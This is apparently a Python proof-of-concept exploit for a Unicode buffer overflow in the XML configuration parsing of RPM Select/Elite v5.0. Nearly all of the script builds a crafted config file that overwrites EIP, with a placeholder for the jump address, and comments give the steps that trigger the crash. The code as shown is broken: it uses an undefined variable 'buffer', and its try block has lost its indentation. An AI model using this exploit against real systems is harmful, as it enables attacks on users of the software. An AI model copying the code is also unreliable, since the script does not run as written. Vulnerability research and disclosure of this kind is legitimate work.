#!/usr/bin/python
# ####################################################################
# RPM Select/Elite v5.0 (.xml config parsing) unicode buffer overflow PoC
# Found by: mr_me - http://net-ninja.net/
# Homepage: http://lpd.brooksnet.com/
# Download: http://www.brooksnet.com/download-rpmselect
# Tested on: Windows XP SP3
# Advisory: http://www.corelan.be:8800/advisories.php?id=10-024
# Greetz: Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
# ####################################################################
# Notes: We overwrite EIP @ 32 bytes in, and the function doesnt copy
# enough of our string to hit SEH. However modules are compiled with
# SAFESEH anyway. Combine that with unicode and the printable ascii
# limitations, we are presented with to much of a hurdle.
# ####################################################################
# How to trigger the crash:
# file -> import configuration
# Click on the queue name, then click on the imported transform
# Click 'modify transform' and b00m!
# ####################################################################
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
# Corelan does not want anyone to use this script
# for malicious and/or illegal purposes.
# Corelan cannot be held responsible for any illegal use.
#
# Note : you are not allowed to edit/modify this code.
# If you do, Corelan cannot be held responsible for any damages.
header1 = """<RPM version="5.0.70.6">
<Queues>
<Queue>
<description>lol</description>
<seqno>0</seqno>
<enabled>1</enabled>
<actions>1</actions>
<held>0</held>
<running>0</running>
<name>mr_mes print queue</name>
<Transforms>
<Transform>
<LineWrap>0</LineWrap>
<lfPitchAndFamily>48</lfPitchAndFamily>
<lfOrientation>0</lfOrientation>
<lfFaceName>
"""
header2 = """</lfFaceName>
<lfWidth>0</lfWidth>
<UseCharsPerInch>0</UseCharsPerInch>
<lfItalic>0</lfItalic>
<UseLinesPerPage>0</UseLinesPerPage>
<lfEscapement>0</lfEscapement>
<LinesPerInch>6.000000</LinesPerInch>
<type>24</type>
<LeftMargin>0.500000</LeftMargin>
<PortraitMax>90</PortraitMax>
<CharsPerInch>10.000000</CharsPerInch>
<CharsPerLine>80</CharsPerLine>
<TopMargin>0.500000</TopMargin>
<LinesPerPage>60</LinesPerPage>
<lfQuality>2</lfQuality>
<lfStrikeOut>0</lfStrikeOut>
<lfWeight>400</lfWeight>
<FontSize>12</FontSize>
<lfUnderline>0</lfUnderline>
<BottomMargin>0.500000</BottomMargin>
<Orientation>portrait</Orientation>
<InputFormat>1252</InputFormat>
<CalcLayout>false</CalcLayout>
<UseLinesPerInch>1</UseLinesPerInch>
<RightMargin>0.500000</RightMargin>
<CtrlStrip>1</CtrlStrip>
<UseCharsPerLine>0</UseCharsPerLine>
<lfCharSet>1</lfCharSet>
<lfOutPrecision>0</lfOutPrecision>
<lfClipPrecision>0</lfClipPrecision>
<SuppressBlankPage>1</SuppressBlankPage>
<lfHeight>-16</lfHeight>
</Transform>
</Transforms>
<Jobs />
</Queue>
</Queues>
<Hosts />
</RPM>
"""
payload = "\x41" * 32
payload += "\x42\x42" # your "jmp to esp" instruction should go here
payload += "\x44" * (5000-len(buffer))
exploit = header1.rstrip() + payload.rstrip() + header2.rstrip()
try:
f=open("cst-rpm-config.xml",'w')
f.write(exploit)
f.close()
print "[+] File created successfully !"
except:
print "[-] Error cannot write xml file to system\n"